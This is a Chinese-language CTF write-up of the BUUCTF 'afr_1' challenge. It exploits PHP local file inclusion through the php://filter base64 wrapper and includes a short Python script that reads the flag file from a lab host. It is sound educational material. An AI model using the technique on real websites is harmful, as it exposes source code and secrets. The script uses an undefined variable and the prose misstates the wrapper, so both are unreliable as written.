buuctf_afr_1
一、开题
二、分析
打开题目,可以看出来这个一道文件包含的题目
先简单测试一下,将参数P的值,改成flag
页面变了,说明漏洞点没问题。下一步就是测试这个改变是被过滤了,还是正常读取,采用双写‘f’的方式进行测试,如果返回值依然是‘no no no’,那就是flag被过滤的,找方法绕过;如果返回值变了,就说明这条语句成功了,那就是已经正常读取了,通过php文件包含中的伪协议尝试登录读取flag文件。
页面果然发生了变化,说明是在flag文件里动了手脚。那么先使用file:filter/read=convert.base64-encode/resource=flag获得base64位编码 程序。然后哦解密就能得出flag
三、顺手写个python
# -*- coding : utf-8 -*-
import requests
import base64
def fileter(url, key, filename):
fileu = url
filek = key
filebs = 'php://filter/read=convert.base64-encode/resource=%s' % file
ff = requests.get('http://%s/?%s=%s' % (fileu, filek, filebs)).text
print(base64.b64decode(ff))
def main():
fileurl = 'efac8bd5-4f08-41d4-b372-998566d288a5.node3.buuoj.cn/'
filekey = 'p'
filename = 'flag'
fileter(fileurl, filekey, filename)
if __name__ == '__main__':
main()
最后这里推一个大佬的平台,里面详细讲解了php文件包含中各种伪协议
链接: https://www.cnblogs.com/ctfer/p/14258409.html.